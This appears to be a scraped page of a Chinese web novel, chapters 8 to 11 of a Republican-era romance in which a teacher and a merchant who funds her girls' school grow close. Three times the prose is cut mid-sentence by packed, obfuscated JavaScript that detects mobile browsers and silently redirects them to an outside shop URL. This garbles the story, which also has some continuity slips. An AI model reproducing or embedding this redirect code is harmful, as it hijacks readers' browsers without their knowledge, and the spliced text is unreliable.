“这个好办。”沈晏笑了，从另一个口袋取出一张支票，推到何荣笙面前，“这是沈氏商行给女子私塾的年度赞助。金额应该能补上教育局的补助，还有富余。” 何荣笙看着支票上的数字，倒吸一口凉气：“这……这太多了！” “不多。”沈晏摆摆手，“伯父，我做生意讲究回报率。投资女子教育，回报的是整个社会的进步——这笔账，怎么算都划算。” 他说得轻松，仿佛这只是笔普通生意。 但何思玥看见，他推支票时手指微微收紧，那不是一个商人在炫耀财富时会有的小动作。 何荣笙看着支票，又看看沈晏，最后目光落在女儿脸上，良久，他苦笑一声：“看来，我是真的老了。” “父亲不老。”何思玥轻声说，“只是这世道变得快，我们都在学着适应。” 晚餐重新开始。 气氛轻松了许多，何母笑着给沈晏布菜，弟妹们好奇地问东问西。沈晏应对得体，既不失礼数，也不显得疏远。 饭后，何思玥送沈晏到门口。夜已深，院子里飘着玉兰花的香气。 “今天……谢谢你。”她站在廊下，灯光将她的影子拉得很长。 沈晏戴上礼帽，回头看她：“谢我什么？我只是做了笔好投资。” “那幅画，”何思玥看着他，“你一直带在身上？” 沈晏的手在口袋里顿了顿：“嗯。想着或许有用。”他笑了笑，“你看，这不就用上了？所以我说，投资要看长远。” 月光很淡，洒在他肩上。何思玥忽然注意到，他西装的左袖口有一小块墨渍——很淡，但仔细看能发现。这不像他会有的疏忽。 “你的袖口……” 沈晏低头看了眼，不在意地掸了掸：“下午在商会签字时，钢笔漏墨了。”他抬眼，“怎么，何老师连这个都要管？” 这话带着调侃，何思玥却听出了别的意味。 她想起父亲说的“恰巧”——也许今天在码头相遇不是恰巧，他带着画来也不是恰巧，就连袖口的墨渍，也可能不是恰巧。 “沈晏，”她第一次直呼他的名字，“你做这些，真的只是为了投资？” 夜色里，沈晏沉默了片刻。 远处传来更夫打梆子的声音，一下，两下，在寂静的夜里格外清晰。 “何思玥”他也第一次叫她的全名，声音比平时低，“如果我说不是，你会怎么想？” 问题抛了回来。何思玥站在廊下，夜风吹起她旗袍的衣角。她看着面前这个总是精于算计的男人，忽然发现，也许他最精明的一笔投资，是她一直没看明白的。 “我会想，”她听见自己说，“这笔投资的风险，可能比你以为的要大。” 沈晏笑了。月光下，那笑容竟有几分少年人的意气。 “风险大，回报才高。”他说，“这是我做生意信的第一条准则。” 他微微颔首，转身走进夜色。皮鞋踩在青石板上的声音渐行渐远，最终消失在巷口。 何思玥站在原地，许久未动。她低头，看见廊下的阴影里，落着一枚小小的铜纽扣——是沈晏西装袖口上的，大概是刚才掸袖子时掉落的。 她弯腰捡起来。铜扣在掌心里微微发烫，仿佛还带着主人的体温。 夜风吹过，玉兰花簌簌落下几瓣，飘在她肩头。她握紧那枚纽扣，转身回屋。 餐厅里，父亲还在看那张支票。见她进来，何荣笙抬起头，眼神复杂。 “思玥，”他说，“沈晏这个人……比我想的要深。” 何思玥没说话。 她走到窗前，看着外面深沉的夜色。掌心那枚纽扣硌着皮肤，像一颗不肯安分的种子。 也许父亲说得对。也许这世道改变起来真的很难。 但至少今晚，有一枚铜纽扣掉在了她的世界里。而那个满身铜臭的商人，用最精明的算计，做了一件最不计回报的事。 这念头让她嘴角微微扬起。她松开手，让那枚纽扣滚进旗袍口袋深处。 翌日！ 何思玥还在办公室批阅孩子们的作业，有同学匆匆地跑了进来，“何老师，不好了，周晓芸和隔壁班的沈希希打起来了。” 她赶紧放下手中的东西，随着学生去看看。 何思玥还没走到跟前，就听见沈希希尖厉的声音：“我说错了吗？你们那个何老师，整天穿得妖里妖气，还带你们去码头那种地方！我们班老师说了，正经人家的姑娘，谁会去那种三教九流混杂的地方画画？” 周晓芸气得脸通红，一把推开拦着她的同学：“码头怎么了？那里的工人、小贩，哪个不是凭力气吃饭？比你这种只会躲在闺房里嚼舌根的人强多了！” “你说谁嚼舌根？！”沈希希冲上来就要抓周晓芸的头发。 “都住手！”何思玥的声音不高，却带着一种不容置疑的威严。 两个女孩同时僵住了。 围观的同学们纷纷低下头，让出一条更宽的路。 何思玥走进圈子中央。 她今日穿了件月白色旗袍，外罩浅灰开衫，头发在脑后绾成简洁的发髻。这身打扮其实已经很保守，但在某些人眼里，依然是“妖里妖气”的。 “谁能把事情说清楚？”她的目光扫过在场的学生。 一个胆大的女生小声开口：“沈希希说……说何老师教的东西不正统，带我们去码头是败坏风气。周晓芸听不过去，就吵起来了……” “我说的都是实话！”沈希希梗着脖子，眼圈却红了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978433|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“我爹昨天回家就发脾气，说女子私塾越来越不像话，要让我转学去教会学校！” 何思玥沉默地看着她。 沈希希这个名字，怎么觉着这么耳熟？ 她想起来了，是沈晏的妹妹，他思想倒是很新派，为什么思想会这么守旧？ “沈同学，”何思玥开口，声音平静，“你觉得，什么是‘正统’的教育？” 沈希希咬了咬嘴唇：“自然是教《女诫》《列女传》，教女子贞静贤淑，而不是……不是去画那些粗鄙的苦力！” “粗鄙？”周晓芸又要发作，被何思玥用眼神制止了。 何思玥走到沈希希面前。 女孩比她矮半个头，仰着脸，眼神里有愤怒，也有隐约的恐惧——那是对未知的恐惧。 “沈同学，你见过码头上的苦力吗？” 沈希希别过脸：“那种地方，我才不要去。” “那你怎么知道他们粗鄙？”何思玥问得很轻，却像一记重锤。 沈希希张了张嘴，没说出话来。 何思玥转向所有围观的女生：“同学们，教育的目的，不是把你们关在象牙塔里，背些陈腐的教条。而是让你们认识真实的世界，学会独立思考。”她顿了顿，“码头上的苦力，也许衣衫褴褛，也许满身尘土，但他们用肩膀扛起一家人的生计。这难道不值得尊敬吗？” 庭院里安静下来。 春风穿过回廊，吹动女孩们的裙摆。 “可是……”沈希希的声音弱了下去，“我们老师说，女子就该温婉娴静……” “温婉娴静不等于愚昧无知。”何思玥看着她，“我与你哥哥还算交好，他的思想就很新派，如今是新民国了，女子也有受教育的权利，也有认识世界的权利。” 她说着，从怀里取出昨天沈晏给的那幅画，展开：“这是周晓芸同学昨天画的。你们看，她画出了什么？” 女生们围拢过来。 画上，那个啃烧饼的苦力，在晨光里笑得质朴而满足。 “她画出了生活的真实。”何思玥说，“也画出了一个人的尊严——哪怕他穷，哪怕他累，他依然有权利在短暂的休息里，享受一个烧饼带来的温暖。” 周晓芸的眼泪忽然掉下来，她用力抹了一把，挺直脊背。 沈希希看着那幅画，久久没有说话。 画角那行字映入眼帘——“一饼饱饥肠，双肩担日月”。字迹遒劲，题字的人，她认得落款：沈晏。 “这是……我哥哥题的？”她惊讶地抬头。 “是。”何思玥没有隐瞒，“昨天在码头，沈先生也在。他看了这幅画，题了这行字。” 沈希希的脸色变了变。 “我……我不知道我哥哥也在。”她喃喃道。 “沈先生在不在，都不改变这件事本身的价值。”何思玥收起画，目光扫过所有学生，“女子受教育，不是为了取悦谁，也不是为了迎合什么‘正统’。是为了让你们有选择的权利——选择看见什么样的世界，选择成为什么样的人。” 她走到周晓芸身边，轻轻拍了拍她的肩：“当然，动手是不对的。周晓芸，向沈同学道歉。” 周晓芸咬了咬嘴唇，朝沈希希微微躬身：“对不起，我不该推你。” 沈希希愣了愣，也低下头：“我……我也不该说那些难听的话。” 9. 第 9 章 上课钟响了。 女生们三三两两地散去，临走前都忍不住回头看看何思玥——她们的何老师站在庭院中央，月白旗袍在春风里轻轻飘动，像一株挺拔的玉兰。 而此时，何思玥也猜到沈希希被人当了枪子，沈希希背后有人不愿意和她正面起冲突，却利用了沈希希。 等人走光了，陈校长才从回廊那头走过来。她一直站在那儿，静静看着。 “思玥，”她叹了口气，“你这样，会得罪不少人的。” “我知道。”何思玥望向庭院里那株老梅，枝头已结出青青的梅子，“但有些话，总得有人说，有一些事情得有人去做。” 陈校长沉默片刻，忽然笑了：“你知不知道，刚才那番话，让我想起一个人。” “谁？” “林老师。”陈校长说，“当年她办女学时，也是这样站在庭院里，对着一群裹小脚的女学生说：‘把脚放开，把心也放开。’” 何思玥怔住了。她想起林老师家客厅里，那只钧窑瓷猫，想起老师扶眼镜时温和的笑容。 “林老师昨天给我写信了。”陈校长从袖中取出一封信，“她说，听说你在私塾教得很好。还让我转告你一句话。” “什么话？” 陈校长展开信纸，念道：“废墟上盖新厂房，砖石虽粗粝，却能经风雨。替我告诉那孩子，她做得很好。” 何思玥的眼睛忽然热了。她别过脸，看向庭院深处。 砖石虽粗粝。 她想起沈晏袖口的墨渍，想起那枚掉落的铜纽扣，想起他说“风险大，回报才高”时眼中的光。 “校长，”她转过身，“我想在私塾办个小型画展，就展学生们户外写生的作品。” 陈校长推了推眼镜：“你想好了？这会引起更大争议。” “想好了。”何思玥的声音很坚定，“既然要看见真实的世界，就该让更多人看见——我们看见的世界。” 她走回办公室时，看见周晓芸站在门口等她。女孩眼睛还红着，手里捏着那幅画。 “老师，”她把画递过来，“这幅画……送给您。” 何思玥接过画：“为什么？” “因为您让我知道，”周晓芸的声音有些哽咽，“我画的东西，是有价值的。我的眼睛看见的，是有意义的。” 何思玥看着画上那个啃烧饼的苦力，看着沈晏题的那行字。忽然，她在画的右下角，发现了一个之前没注意的细节——周晓芸用极细的笔，在苦力的衣角画了一朵小小的紫藤花。 “这是……” “我想起沈先生送的那枚标本。”周晓芸小声说，“紫藤虽柔，却能攀上高墙。他……他也像苦力一样，在扛着自己的日月。” 她忽然很想见沈晏。想问问他，这笔“投资”的回报，他究竟想要什么。 沈希希晚上回家，将今天在学校发生的事情都告诉了沈晏。 “妹妹，你今天被人当枪使了，你好像还不知道。” 沈晏放下手中的账本，摘下眼镜，用绒布慢慢擦拭镜片。 书房里只点着一盏台灯，光线昏黄，将他棱角分明的侧脸镀上一层柔和的金边。 沈希希站在书桌前，绞着衣角，眼圈还红着：“哥，我真的错了吗？爹说何老师带学生去码头，是伤风败俗……” “爹说的？”沈晏抬起眼，镜片后的目光锐利起来，“还是教育局王局长说的？” 沈希希愣住了，她没有想到哥哥一眼就看穿了她。 沈晏重新戴上眼镜，从抽屉里取出一份文件——是商会昨天的会议纪要。 他翻到其中一页，推给妹妹看：“昨天下午，王局长在商会见了几个老学究，其中就有你们学校几个董事。他们商量着，要给女子私塾施压，让陈校长收敛些。” 沈希希低头看着文件上那些密密麻麻的字，脸色渐渐发白。 “他们知道陈校长背景硬，不好直接动。”沈晏的声音很平静，像在分析一笔生意，“所以就从学生入手，尤其是你——上海商会会长的女儿。让你带头闹，将这件事闹大了，舆论就有了，他们就好出面干预了，所以你被那些老学究当成枪使了。” “他们……他们怎么能这样？”沈希希的声音发抖，“王叔叔还给我带过糖……” “糖里裹着砒霜。”沈晏合上文件，“这就是为什么我总说，看人不能只看表面。王局长表面上支持新教育，背地里却和守旧派勾结，因为他需要两边讨好，保住自己的位置，所以有的事情他不好直接出面。” 他站起身，走到窗前。夜色里，沈家大院的长廊下挂着灯笼，光影摇曳。 “希希，你知道何老师为什么要带你们去码头吗？” 沈希希摇摇头。 “因为真实的世界，不在《女诫》里，不在绣楼里。”沈晏转过身，目光落在妹妹脸上，“在码头上扛包的苦力身上，在街边卖烧饼的小贩身上，在那些为生计奔波、却依然努力活着的人身上。” 他顿了顿，语气缓下来：“你画的那些仕女图很美，但那是被修剪过的美，是温室里的花。而何老师想让你们看的，是经历风吹雨打的野花——也许不精致，但它们却拥有顽强的生命力。” 沈希希的眼泪又掉下来，这次不是因为委屈，而是因为羞愧：“哥，我……我今天还说了很难听的话。我说何老师‘妖里妖气’，说她败坏风气……” “所以你要道歉。”沈晏走回书桌旁，从笔筒里抽出一支钢笔，“但不是对我，是对何老师，对周晓芸，对所有被你伤害的同学。” 他翻开一本新的便笺，开始写字。沈希希看见哥哥的手很稳，字迹依旧工整，但比平时多了几分力度：“致何老师及私塾诸同学：今日之事，舍妹年幼无知，受人挑唆，出言无状。璟臻代妹致歉，并愿捐助私塾画展所需全部费用，以表歉意与支持。——沈晏” 写完，他盖上私章，将便笺递给妹妹：“明天带去学校，亲自交给何老师。” 沈希希接过便笺，指尖微微颤抖：“哥，你真的要捐钱办画展？爹知道了会生气的……” “爹那边，我去说。”沈晏重新坐回椅子上，翻开另一本账簿，“至于捐钱——这不是捐钱，而是投资。” 他又用上了商人的口吻，但这次沈希希听出了不一样的味道。 “投资？” “嗯。”沈晏推了推眼镜，镜片反射出台灯的光，“投资一个更开明的未来，投资一群能独立思考的女子，投资……”他顿了顿，嘴角勾起一丝笑意，“投资一个敢在废墟上盖新厂房的人。” 沈希希看着哥哥。灯光下，他专注地看着账簿，手指在算盘上飞快地拨动——那是他思考时的习惯。但她注意到，哥哥今天拨算盘的动作比平时慢，像是在计算什么很复杂的东西。 “哥，”她小声问，“你是不是……喜欢何老师？” 算盘珠子的声音突然停了。 书房里安静得能听见窗外蟋蟀的鸣叫。沈晏的手停在算盘上，久久没有动。 “希希，”他终于开口，声音很低，“有些投资，是不能用算盘来算回报的。” 这话说得很含蓄，但沈希希听懂了。 她忽然想起今天在私塾，何老师站在庭院里的样子——月白旗袍，挺直的脊背，像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978434|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一株玉兰。 而哥哥站在窗前看夜色时，那个背影里，有种她从未见过的、近乎温柔的东西。 “我明白了。”她握紧手中的便签，“哥，你放心，明天我知道该怎么做了。” 沈希希离开书房后，沈晏没有继续看账本。 他走到书房的博古架前，从最上层取下一个木盒——不是什么名贵木材，只是普通的樟木，但打磨得很光滑。 打开盒子，里面是些零零碎碎的东西：一枚铜纽扣、一小块沾着墨渍的西装布料、几张写了字的便签，还有那幅周晓芸的画——他特意要了复制品，原画还给了何思玥。 他把这些东西一样样拿出来，摆在书桌上。 台灯的光照着它们，在深色的桌面上投下浅浅的影子。 最后，他拿起那枚铜纽扣。纽扣在指尖转动，反射出暗淡的光。 今天下午，商会的人问他：“沈少爷，你这么大手笔支持女子私塾，图什么？” 他当时笑着回答：“图个长远——将来这些女子里，说不定能出几个女商人、女教师、女医生。这对社会是好事，对生意也是好事。” 这话说得滴水不漏，符合他一贯精明商人的形象。 但现在，夜深人静时，他对着这枚纽扣，却不得不承认——有些账，是算不清楚的。 比如为什么会记得她旗袍的颜色，为什么会留意她说话时的语气，为什么会在她受非议时，第一个站出来。 窗外传来打更的声音，三更天了。 翌日午后，春光正好。 私塾的庭院里，紫藤花开到了最盛，淡紫色的花穗垂满回廊，风一过，便洒下细碎的花瓣。 何思玥正在指挥学生们布置画展——几块简陋的木板搭成展墙，上面已经挂了不少作品。 “何老师，这幅挂这里可以吗？”周晓芸踮着脚，手里拿着她那幅《码头晨光》。 “再往左一点……对，就这样。”何思玥退后几步，眯着眼打量，“光线正好能照到题字。” 阳光透过花架，洒在画上那行“一饼饱饥肠，双肩担日月”上，墨迹在光里微微泛金。 就在这时，门口传来汽车熄火的声音。何思玥回头，看见沈晏从车上下来——今日他穿了身浅米色西装，没打领带，衬衫领口松着两颗纽扣，手里提着个藤编箱子。 “沈公子？”她有些意外。 沈晏走过来，先朝周晓芸点点头，然后才对何思玥说：“听说私塾要办画展，家妹昨日又惹了祸，我便想着，总该出份力。”他将藤箱放在石桌上，“这是画展需要的一些物料——画框、衬纸、还有几盒好点的颜料。” 箱子打开，里面整整齐齐码着东西。何思玥拿起一盒颜料，是德国进口的温莎牛顿，价格不菲。 “沈公子太破费了。”她将颜料放回去，“这些……” “就当是赔罪。”沈晏打断她，从西装内袋取出那张便签——沈希希写的道歉信，“家妹年幼无知，我已经教训过了。这是她的道歉信，还有我的一点心意。” 何思玥接过便签，目光扫过那些工整的字迹。信写得很诚恳，最后还附了沈晏愿意捐助画展的承诺。 “其实不必如此。”她抬眼看他，“学生们之间的事，说开就好了。” “要的。”沈晏推了推眼镜，目光落在她脸上，“何老师可能不知道，家妹昨天的言行，背后有人推波助澜。我查过了，是教育局的几个守旧派，想借机打压私塾。” 他说话时，语气很平静，但何思玥听出了其中的维护意味。 “沈公子对于女子读书，你为什么会投资女学生们？” 10. 第 10 章 沈晏沉默了片刻。 庭院里的风停了，阳光静静洒在两人身上。 他摘下了眼镜——这个动作让何思玥微怔，她第一次如此清晰地看见他的眼睛，没有镜片的阻隔，那双眼睛里的光直直地映着她。 “因为我见过太多被高墙困住的眼睛。”他终于开口，声音不高，却字字清晰，“我母亲的，我姨母的，甚至……”他顿了顿，“甚至许多我生意伙伴的妻女。她们聪明，有天分，却被‘女子无才便是德’的旧训困在宅院里，一生所见不过四方天井。” 他将眼镜慢慢折好，放入西装口袋：“在英国时，我去参观过一所女子学院。那里的女孩们讨论哲学，研究科学，在实验室里做实验，在画室里创作。她们的眼睛里有光——那种知道自己能飞多高的光。” 他走近一步，距离近得何思玥能看见他睫毛在阳光下投下的细小阴影。 “回国后，我见到的更多是另一种眼睛。”他的声音低了些，“明明渴望看见更广阔的世界，却被训诫要低眉顺目；明明有才华，却被教导女子该藏拙。那种光，在一点点熄灭。” 何思玥的心被轻轻揪了一下。 她想起自己留学前，也曾有过那样的恐惧——怕飞出去，就再也回不到原来的笼子里。 “所以，”沈晏看着她，目光灼灼，“当我看见你站在私塾庭院里，对着一群女孩说‘要看见真实的世界’时，我就知道，这笔投资我必须做。” 他的用词依然是“投资”，但语气里没了商人的算计，多了某种近乎信仰的坚定。 “这不是为了回报率，何思玥。”他第一次如此正式地叫她的名字，“这是为了不让那些光熄灭。为了让我母亲那样的遗憾，少一些，再少一些。” 阳光移过来了，正好照在他脸上。何思玥看见他眼底有很深的情绪在涌动——那不是一个商人谈论生意时会有的神情。 “那你希望她们，”她轻声问，“飞多高？” 沈晏的嘴角慢慢扬起一个弧度：“能飞多高，就飞多高。”他顿了顿，“就像你一样。” 这四个字说得很轻，却像春雷滚过心田。 何思玥感觉脸颊微微发烫，她别过脸，看向廊下那些画作。 阳光照在画纸上，那些码头、街巷、人物，都在阳光里鲜活起来。 “沈公子，”她重新看向他，目光清澈，“如果有一天，她们飞得太高，高到连你都够不到了呢？” 这个问题带着试探，也带着她自己也说不清的期待。 沈晏笑了。 那笑容里有商人的精明，有投资者的远见，还有一种她从未在他身上见过的温柔。 “那我会建更高的台子。”他说，“或者，学会飞。” 风又起了，吹动他额前的发丝。他伸手去拂，手指掠过眉梢时，何思玥看见他手腕上那道浅浅的疤痕——是旧伤，已经淡了，但在阳光下依然清晰。 “这是什么？”她下意识地问。 沈晏低头看了看手腕，沉默片刻：“十四岁时，我想帮母亲搬一箱账本，箱子太重，砸的。”他抬起眼，“那时我就想，如果母亲识字，就不用记那么多账。如果她能雇人，就不用自己搬。” 他的语气很平淡，但何思玥听出了其中深藏的疼惜。 那种疼惜，跨越了时间和生死，化作了他今日所做的一切。 “所以你看，”沈晏重新戴上眼镜，又变回了那个精明的商人，“我做这些，说到底还是自私的——我想在别的女子身上，弥补我母亲没能得到的。” 这话说得很坦诚，坦诚得让何思玥心头一颤。 她忽然明白，为什么他总能把“投资”说得那么理直气壮——因为他投资的不是虚无的概念，是具体的人，是具体的遗憾，是具体的希望。 “沈晏，”她也第一次叫他的全名，“你母亲如果知道你现在做的这些，一定会很骄傲。” 沈晏怔了怔，随即笑了。 这次的笑容里，有种释然的轻松。 “也许吧。”他说，“不过她现在更在意的，可能是……”他顿了顿，从藤箱底层取出一个绸布包，“这个。” 何思玥接过，打开是一本手抄的诗集。纸张已经泛黄，但字迹娟秀工整，抄的是李清照的词。 “这是……” “我母亲年轻时的。”沈晏的手指轻轻拂过书页，“她最喜欢这首‘生当作人杰，死亦为鬼雄’。可惜，她一生都没能走出后宅。” 何思玥翻动着诗页。那些娟秀的字迹里，能看出抄写者当年的心境——有向往，有不甘，有被困住的叹息。 “送给你。”沈晏说，“我想，她若知道这本书到了一个能让更多女子‘作人杰’的人手里，一定会高兴。” 这份礼物太厚重了。何思玥捧着诗集，感觉掌心的温度在一点点升高。 “我不能……” “收下吧。”沈晏打断她，“就当是我这个‘投资人’，给自己最看好的‘项目’一点额外的‘资源’。” 他又用上了商人的比喻，但这次，何思玥听出了不同的意味，她抬起头，迎上他的目光。 阳光在他镜片上跳跃，但镜片后的眼睛，她能看得清清楚楚——那里面有欣赏，有尊重，还有一种她不敢深究的温柔。 “好。”她终于点头，“我收下。” 庭院里传来上课的钟声。 何思玥将诗集小心地包好，抱在怀里。 “我该去上课了。”她说。 沈晏颔首：“我也该走了，商会还有事。”他走到月洞门边，又回头，“如果可以，我想希希跟着你学习，画展那天，我也会来。” “好，如果沈希希同学同意，那我就和陈校长沟通一下，让她来我们班级。” 他走了。 何思玥站在廊下，看着他的背影消失在春光里。怀中的诗集贴着心口，暖暖的，像揣着一个小太阳。 周晓芸不知何时走过来，小声说：“老师，沈先生对您真好。” 何思玥没有回答。她翻开诗集，在扉页上看见一行小字：“愿吾儿见天地广阔，亦助他人见之。——母字” 字迹和诗集中的一样娟秀，但这一行写得格外用力，墨迹深深透入纸背。 何思玥的手指轻轻抚过那行字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978435|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 忽然间，她明白了沈晏所有的“投资”，所有的“算计”，所有的“商人习气”背后，藏着怎样一颗赤子之心。 风又起了，吹动满庭院的画纸，那些画上的码头、街巷、人物，都在风里轻轻颤动，仿佛随时会活过来，走进阳光里。 何思玥合上诗集，走向教室。 她知道，有些东西，已经在春风里悄悄生长了。 自那日后，沈希希果然转到了何思玥的班上。 起初她还有些别扭，坐在教室最后一排，低着头不说话。 周晓芸主动搬过去与她同桌，把画具分她一半，小声说：“何老师今天教画紫藤，我总画不好枝条的转折，你帮我看看？” 沈希希抬起眼，看见周晓芸摊开的画纸上，紫藤的枝条确实画得生硬。 她抿了抿唇，接过笔，在纸上轻轻勾了几笔：“这里要柔一些，藤蔓是活的，不是死的。” 笔尖划过纸面，发出沙沙的轻响。阳光从窗格照进来，落在两个女孩交握的笔杆上。 何思玥站在讲台上看着这一幕，嘴角浮起笑意。她转身在黑板上写下今日的主题：“观察与表达——画出你心中的春天。” “不必拘泥于形似，”她的声音清朗，“重要的是，你看见了什么，感受到了什么，又想把什么传递给看画的人。” 沈希希听着，笔尖在纸上顿了顿。她想起从前在教会学校，老师总说“这里不对，那里不对”，却从不问“你想画什么”。 她抬起头，看向窗外。庭院里的老槐树正在抽新芽，嫩绿的叶片在风里颤动，像无数小小的翅膀。 她忽然有了想画的东西。 几日后，沈晏来私塾接妹妹下学。他站在庭院的老槐树下，看见沈希希抱着画板从教室跑出来，脸上是罕见的兴奋。 “哥！你看！” 画板上是那株老槐树，但沈希希画得与众不同——她用了大片的留白，只在纸的右下角细细勾勒了几枝新芽。 新芽旁题了一行小字：“虽微末，亦向光。” 字迹稚嫩，但笔意已经有了章法。 沈晏仔细看着，良久才说：“画得很好。谁教你这样构图的？” “何老师。”沈希希的眼睛亮晶晶的，“她说，有时候不画满比画满更有力量。就像……就像有些话，不说出来比说出来更有分量。” 这话说得很有何思玥的风格。 沈晏笑了，抬眼看向教室方向。何思玥正送最后几个学生出来，月白色的旗袍在暮色里泛着淡淡的光泽。 她看见他，微微颔首。 沈晏让妹妹先去车上等，自己走向何思玥：“希希最近……变化很大。” “她很有天赋。”何思玥收起手中的教案，“只是从前被束缚住了。” “谢谢你。”沈晏说得很认真，“不只是为希希，也为我母亲——如果她当年能遇到你这样的老师，也许……” 话没说完，但何思玥懂。她想起那本诗集，想起扉页上那句“愿吾儿见天地广阔，亦助他人见之”。 “是你母亲教得好。”她轻声说，“那些种子，早就埋下了。” 11. 第 11 章 暮色渐浓，庭院里的灯笼一盏盏亮起来。远处传来卖花姑娘的吆喝声：“栀子花——白兰花——” 沈晏忽然从西装口袋取出一个小纸包：“路过花市买的。”他递过来，纸包里是几朵洁白的栀子花，用细线系着，“香气可以提神。你备课晚，用得着。” 何思玥接过，花香扑鼻而来，清冽中带着甜。她低头闻了闻，再抬眼时，发现沈晏正看着她，镜片后的眼睛里映着灯笼的光，温柔得像春夜的湖水。 “沈晏，”她忽然问，“你有没有算过，在女子教育上，你已经‘投资’了多少？” 这个问题带着玩笑意味，但沈晏答得很认真：“算过。但算到最后，发现有些账是算不清的。”他顿了顿，“比如希希现在的笑容值多少？比如周晓芸眼里的光值多少？又比如……” 他看着她的眼睛：“比如现在这一刻，值多少？” 晚风吹过，栀子花的香气在两人之间弥漫。 何思玥感觉脸颊微微发烫，她别过脸，看向远处车里的沈希希——女孩正趴在车窗上朝这边张望，看见她看过来，赶紧缩回头去。 “你妹妹在等你。”她说。 “嗯。”沈晏应了一声，却没有动，“画展准备得怎么样了？” “差不多了。学生们都很用心。” “那就好。”他终于转身，走了几步，又回头，“画展那天，我母亲也会来。” 何思玥点点头，看着他走向汽车。夜色里，他的背影挺拔，肩线在西装下显出利落的弧度。 汽车开走后，她才低头看着手中的栀子花。花瓣洁白如雪，在灯笼的光里泛着珍珠般的光泽。 周晓芸不知何时走过来，小声说：“老师，沈先生对您……真好。” 这次何思玥没有回避。她将一朵栀子花别在周晓芸的衣襟上：“是啊，他是个好人。” 只是好人吗？她在心里问自己。 答案在夜风里飘散，混着栀子花的香，久久不散。 画展前夜，何思玥在私塾忙到很晚。所有的画都装裱好了，按主题分区域悬挂。码头系列、市井系列、自然系列……一张张稚嫩却生动的画作，在灯光下静静等待着明天的目光。 她走到窗前，推开窗。夜风涌进来，带着初夏的微凉。庭院里的紫藤已经谢了，但枝叶更加茂盛，在月光下投下婆娑的影子。 身后传来脚步声。她回头，看见沈晏站在门口，手里提着个食盒。 “猜你还没吃饭。”他走进来，将食盒放在桌上，“希希让我送的，说是让你补补力气，说你最近太累了。” 食盒里是温热的鸡汤，还有几样清淡小菜。何思玥确实饿了，也不推辞，在桌边坐下。 沈晏没坐，他在展厅里慢慢走着，一幅幅看着那些画。灯光照在他的侧脸上，投下深浅的阴影。 “这些孩子，”他停在一幅画前——是周晓芸最新画的，一个纺织厂女工在窗边读书的画面，“真的不一样了。” “哪里不一样？”何思玥舀着汤，轻声问。 “眼睛。”沈晏说，“从前她们眼睛里只有顺从，现在有了……光。知道自己要什么，敢去要的光。” 他说着，走到何思玥面前，从怀里取出一个小锦盒：“这个，明天用得上。” 锦盒里是一枚胸针——紫藤花的造型，花瓣用淡紫色的碎宝石镶嵌，枝叶是细细的金丝缠绕而成。精致，却不张扬。 “太贵重了……” “配你明天要穿的旗袍。”沈晏打断她，“而且，这不是礼物。”他顿了顿，嘴角浮起那抹熟悉的、带着算计的笑意，“是投资——投资人希望自己的‘项目负责人’，在重要场合显得体面些。” 又是投资。何思玥忍不住笑了。她接过胸针，指尖触到那些细碎宝石的冰凉。 “沈晏，”她抬起眼，“你到底在投资什么？” 这个问题她问过很多次，每次他的答案都不一样。有时是“社会进步”，有时是“未来的人才”，有时是“长远的回报”。 但这次，沈晏沉默了很久。 展厅里很静，只有窗外偶尔传来的虫鸣。灯光温柔地洒下来，在两人之间铺开一片暖黄的光晕。 “我在投资，”他终于开口，声音很轻，“一个让我觉得这世道还有希望的人。” 这话说得太直白，直白到何思玥一时不知该如何回应。她握着胸针，宝石的棱角硌着掌心，微微的疼。 “你就不怕，”她听见自己的声音有些颤抖，“这笔投资，血本无归？” 沈晏笑了。那笑容里有商人的精明，有投资者的远见，但更多的是某种近乎天真的笃定。 “怕。”他说，“但我更怕的是，明明看到了值得投资的人，却因为害怕风险而错过。” 他走近一步，距离近得何思玥能闻到他身上淡淡的雪茄味——不是浓烈的那种，是清淡的，混着书墨的气息。 “何思玥，”他叫她的名字，每一个字都咬得很清楚，“我母亲那本诗集里，还有一句话我没告诉你。” “什么话？” “‘若遇可助之人，当倾力助之。因助人者，终将自渡。’”沈晏看着她，目光深得像夜，“这些年我一直不明白这句话。但现在，我想我懂了。” 窗外的月亮升得更高了，银辉洒进屋里，和灯光交融在一起。何思玥握着胸针的手，慢慢收紧。 “明天，”她说，“你会来吗？” “会。”沈晏点头，“我小姨也会。她说，想看看是什么样的女子，能让她的儿子从一个只算金钱账的商人，变成会算‘人心账’的傻子。” 这话说得自嘲，但何思玥听出了其中的温柔。她也笑了：“那请你告诉你小姨，明天见。” “好。”沈晏颔首，“你早些休息，明天……会很精彩。” 